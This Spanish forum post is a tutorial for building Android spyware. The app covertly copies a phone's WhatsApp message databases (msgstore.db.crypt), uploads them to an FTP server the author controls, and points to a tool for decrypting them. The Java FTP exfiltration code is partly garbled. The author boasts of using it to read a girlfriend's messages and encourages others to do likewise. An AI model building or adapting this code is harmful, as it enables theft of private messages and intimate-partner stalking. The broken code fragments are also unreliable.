Pues bien, al turrón:
El Spyware se trata de una pequeña aplicación para android que "coge prestados" los archivos msgstore.db.crypt almacenados en la carpeta del whatsapp/databases.
Posteriormente envía dichos archivos a una servidor FTP, yo he utilizado un servidor público y ha subido toda la base de datos del whatsapp funcionado a la perfección.
Pues bien, tras conseguir dichos archivos tan solo queda utilizar la herramienta escrita en python para descifrar dichos archivos, la cual podemos descargar desde esta misma página.
http://ns2.elhacker.net/Whatsapp_Xtract_V2.1_2012-05-07.zip
1- Para realizar la aplicación lo que haremos será utilizar la librería java commons.net que nos proporcionará los métodos necesarios para establecer un cliente y conectarnos a un servidor ftp.
Para añadir la libreria a nuestro proyecto debemos descargarla de aqui:
http://commons.apache.org/net/download_net.cgi
y posteriormente desde eclipse, click derecho sobre nuestro proyecto, build path y le damos a add external jars, donde añadiremos los .jar de la libreria descargada.
2- Posteriormente crearemos un flujo de entrada desde los archivos que deseamos coger del dispositivo android, en este caso todos los msgstore.db.crypt que hayan en la carpeta whatsapp/databases, y añadirlos a nuestra carpeta en el servidor ftp.
3- Por último tendremos que crear un nuevo hilo de ejecución y instanciar la clase donde tengamos todo lo del punto 1 y 2. Este nuevo hilo de ejecución es necesario para poder realizar este tipo de conexiones en android.
Código
import java.io.*; import java.net.InetAddress; import java.net.SocketException; import java.net.URL; import java.net.URLConnection; import java.nio.channels.FileChannel; import org.apache.commons.net.ftp.FTP; import org.apache.commons.net.ftp.FTPClient; import android.os.Environment; import android.util.Log; public class FtpCon { try { FTPClient mFTPClient = new FTPClient(); mFTPClient.connect("direccion del servidor", 21); mFTPClient.login("nombreUsuario","contraseña"); mFTPClient.enterLocalPassiveMode(); mFTPClient.changeWorkingDirectory("directorio ftp para trabajar"); mFTPClient.setFileType(FTPClient.BINARY_FILE_TYPE);// este metodo "setTypeFile(BINARY_FILE_TYPE)" es muy importante para que el archivo se envie correctamente Log.d("Working Directory", mFTPClient.printWorkingDirectory()); Log.d("Error", "No hay almacenamiento externo montado"); } else { if (filenames != null) { for (int i = 0; i< filenames.length; i++) { try { mFTPClient.storeFile("msgstore.db.crypt"+i, is); Log.d("Error", "Se ha producido un error! "+e.getMessage()); } } } mFTPClient.logout(); Log.d("OK", "Enviado con exito"); Log.d(":(", e.getMessage()); } } }
Tan solo tenemos que poner la dirección del servidor, el nombre de usuario, la contraseña y la carpeta con la que queremos trabajar en nuestro servidor.
Para que esto funcione, creamos una aplicacion sencilla en android que por ejemplo tenga un botón, y que al pulsar ese boton se ejecute el código anterior, tal y como está escrito a mi me ha funcionado sin problemas, bueno a parte de los problemas que me está causando el leer los mensajes del whatsapp de mi novia..toda una decepción, y como consejo si alguien quiere utilizarlo con este mismo fin, mucho cuidado porque seguro que veis cosa que desearíais no haber visto!
Bueno retomando el tema y para ir finalizando: el pequeño trozo de código que he utilizado para crear un nuevo hilo de ejecución y instanciar la clase FtpCon. Este código lo he metido dentro del método onClick() que le he asignado a un botón que he puesto en medio de la pantalla, pero podeis ponerlo donde querais, siempre y cuando se vaya a ejecutar, exceptuando en el merodo onCreate().
Código
Bueno espero que esto os sirva de ayuda a todos aquellos que lo necesiteis. Un Saludo!
public void run() { try { FtpCon con = new FtpCon(); // TODO Auto-generated catch block e.printStackTrace(); // TODO Auto-generated catch block e.printStackTrace(); } } }).start();